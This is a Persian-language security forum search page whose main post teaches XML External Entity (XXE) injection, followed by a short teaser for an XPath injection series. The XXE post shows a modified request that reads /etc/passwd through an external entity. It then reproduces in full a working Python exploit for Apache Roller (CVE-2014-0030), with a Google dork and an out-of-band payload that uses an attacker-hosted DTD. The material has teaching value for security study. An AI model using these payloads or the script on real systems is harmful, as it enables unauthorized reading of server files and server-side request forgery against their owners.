
سرور دیسکورد گاردایران
جستجو در تالارهای گفتگو
در حال نمایش نتایج برای برچسب های 'xml'.
2 نتیجه پیدا شد
-
با سلام خدمت دوستان عزیز با اموزش اسیب پذیری XXE یا XML External Entity در خدمت شما هستیم . توضیجات اولیه : با استفاده از این اسیب پذیری شما قادر به دسترسی به فایل های سمت سرور و سیستمی دارید این اسیب پذیری سمت سرور است و زمانی رخ میده که ارسال ورودی xml انجام شده باشه و بر ورودی ها نظارت نباشه و خوب کانفیگ نکرده باشن ، از مزایای دیگر اسیب پذیری میتوان به استخراج اطلاعات حساس اسکن پورت های باز و جعل درخواست سمت سرور رو انجام داد ، ضعفی که باعث می شود این آسیب پذیری به وجود آید سمت سرور است که با دستورات XML Parser انجام میشود و اگردرخوست های ورودی توسط کلاینت به سرور رو خوب کنترل نکرده باشند باعث میشه که نفوذگر با استفاده از دستورات XML Parser اقدام به حمله کند . آشنایی با XML Parser : XML Parser یک آبجکتی است که اکثر مرورگر ها اونو ساپورت می کنند می توانید داکیومنت ها و اطلاعات را نیز استخراج کند و همچنین اقدام به خواندن تگ های XML کنید . XPath Injection : اسیب پذیری XXE Injection خیلی شباهت داره به اسیب پذیری Xpath Injection که قبلا اموزشش رو در انجمن قرار دادم : انواع حملات XXE : : Exploiting XXE to retrieve file در این حمله استخراج اطلاعات صورت میگیرد : Exploiting XXE to Perform SSRF attack در این حمله امکان ترکیب اسیب پذیری SSRF هم وجود دارد . : Exploiting Blind XXE exfiltrate data out-of-band این حمله زمانی صورت می گیره که داده های حساس در حال انتقال از میان سرور و کاربر هستند و جایی که داده ها از سرور برنامه به سیستمی منتقل می شوند و هکر می تواند آن ها رو کنترل کند . توی این جلسه قراره به حمله Exploiting XXE to retrieve file بپردازیم : برای مثال شما یک فرم رو سابمیت میکنید یا هر چیز دیگه بعد با استفاده از ابزار Burp Suite درخواست ها رو برسی میکنید و برای مثال این کد رو مشاهده میکنید : <?xml version=”1.0” encoding=”UTF-8”?> و در این تگ برخی از این پارامتر ها اومده : <stockCheck><productld>2</productld><storeld>1</storeld></stockCheck> حالا اگر بین این دو تگ این دستور xml رو قرار دهید و پارامتر ۲ را تغییر دهید فایل passwd رو فراخوانی میکنه : <!DOCTYPE test[<!ENTITY xxe SYSTEM “file:///etc/passwd”>]> کد اولیه (بدون هیچ تغییر ) : <?xml version=”1.0” encoding=”UTF-8”?><stockCheck><productld>2</productld><storeld>1</storeld></stockCheck> و تبدیلش میکنیم به این : <?xml version=”1.0” encoding=”UTF-8”?> <!DOCTYPE test[<!ENTITY xxe SYSTEM “file:///etc/passwd”>]> <stockCheck><productld>&xxe;</productld><storeld>1</storeld></stockCheck> و توی پاسخ میبینید که فایل passwd رو فراخوانی کرده ، در ضمن باید توی burp از قسمت repeater اقدام کنید . ویدئو : تئوری . پروژه محور یک . پروژه محور دو . اکسپلویت : # Exploit Title: Apache Roller 5.0.3 - XML External Entity Injection (File Disclosure) # Google Dork: intext:"apache roller weblogger version {vulnerable_version_number}" # Date: 2018-09-05 # Exploit Author: Marko Jokic # Contact: http://twitter.com/_MarkoJokic # Vendor Homepage: http://roller.apache.org/ # Software Link: http://archive.apache.org/dist/roller/ # Version: < 5.0.3 # Tested on: Linux Ubuntu 14.04.1 # CVE : CVE-2014-0030 # This exploit lets you read almost any file on a vulnerable server via XXE vulnerability. # There are two types of payload this exploit is able to use, 'SIMPLE' & 'ADVANCED'. # 'SIMPLE' payload will work in most cases and will be used by default, if # server errors out, use 'ADVANCED' payload. # 'ADVANCED' payload will start local web server and serve malicious XML which # will be parsed by a target server. # To successfully perform attack with 'ADVANCED' payload, make sure that port # you listen on (--lport flag) is accessible out of the network. #!/usr/bin/env python import SimpleHTTPServer import SocketServer import argparse import sys import threading from xml.etree import ElementTree import urllib3 import requests SIMPLE_PAYLOAD = """<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file://{}">]> <methodCall> <methodName>&xxe;</methodName> </methodCall> """ ADVANCED_PAYLOAD = """<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ENTITY % start "<![CDATA["> <!ENTITY % xxe SYSTEM "file://{}"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "{}"> %dtd; ]> <methodCall> <methodName>&all;</methodName> </methodCall> """ urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-Type', 'text/html') self.end_headers() self.wfile.write('<!ENTITY all "%start;%xxe;%end;">') def check_exploit(host): response = requests.post(host + "/roller-services/xmlrpc", verify=False) if response.status_code == 200: return True return False def exploit(host, payload): response = requests.post(host + "/roller-services/xmlrpc", data=payload, verify=False) xml_tree = ElementTree.fromstring(response.text) parsed_response = xml_tree.findall("fault/value/struct/member")[1][1].text print parsed_response def start_web_server(port): handler = MyHandler httpd = SocketServer.TCPServer(('', port), handler, False) httpd.allow_reuse_address = True httpd.server_bind() httpd.server_activate() httpd.handle_request() httpd.shutdown() def main(): parser = argparse.ArgumentParser() parser.add_argument('-u', metavar="URL", dest="url", required=True, help="Target URL") parser.add_argument('-f', metavar='FILE', dest="file", required=False, default="/etc/passwd", help="File to read from server") parser.add_argument('--lhost', required='--rport' in sys.argv, help="Your IP address for http web server") parser.add_argument('--lport', type=int, required='--rhost' in sys.argv, help="Port for web server to listen on") args = parser.parse_args() host = args.url full_file_path = args.file advanced = False lhost = args.lhost lport = args.lport if lport is not None and lport is not None: advanced = True check = check_exploit(host) if check: if advanced: th = threading.Thread(target=start_web_server, args=(lport,)) th.daemon = True th.start() payload = ADVANCED_PAYLOAD.format(full_file_path, "http://{}:{}".format(lhost, lport)) else: payload = SIMPLE_PAYLOAD.format(full_file_path) exploit(host, payload) else: print "[-] TARGET IS NOT VULNERABLE!" main() مقاله : یک سری مقاله که میتونه خیلی مفید باشه . Owasp : https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing Owasp : https://owasp.org/www-chapter-pune/XXE_Exploitation.pdf Doddsecurity : https://doddsecurity.com/312/xml-external-entity-injection-xxe-in-opencats-applicant-tracking-system Medium : https://medium.com/@ghostlulzhacks/xml-external-entity-xxe-62bcd1555b7b Exploit DB : https://www.exploit-db.com/docs/48583 ====================================================================== لایک فراموش نشه ، موفق و پیروز باشید .
- 7 پاسخ
-
- web site security
- xml file
-
(و 17 مورد دیگر)
برچسب زده شده با :
- web site security
- xml file
- web application bug
- web application security
- xml external entity injection
- web hacking
- xxe injection
- injection bug
- xxe
- bug
- mr.msa
- xml external entity (xxe)
- xml injection
- vulnerability
- (xxe vulnerability | xml external entity (xxe
- xxe vulnerability
- port scanning
- file include
- xml
-
به نام خدا در این سری آموزش ها، ابتدا توضیحاتی راجع به زبانXML داده می شود، سپس در ادامه به بررسی(XPath) XML Path language در XML میپردازیم و درنهایت به صورت عملی روش ها و تکنیک های Xpath Injection رو توضیح می دهیم. این آموزش در 3 قسمت ارایه می شود: قسمت اول آموزش قسمت دوم آموزش قسمت سوم آموزش دوستانی که سوال، نظر یا پیشنهادی در مورد آموزش ها دارند در بخش سوال و جواب های انجمن مطرح کنند. موفق باشید GUARDIRAN SECURITY TEAM
- 9 پاسخ
-
- updatexml()
- توابع xml
- (و 15 مورد دیگر)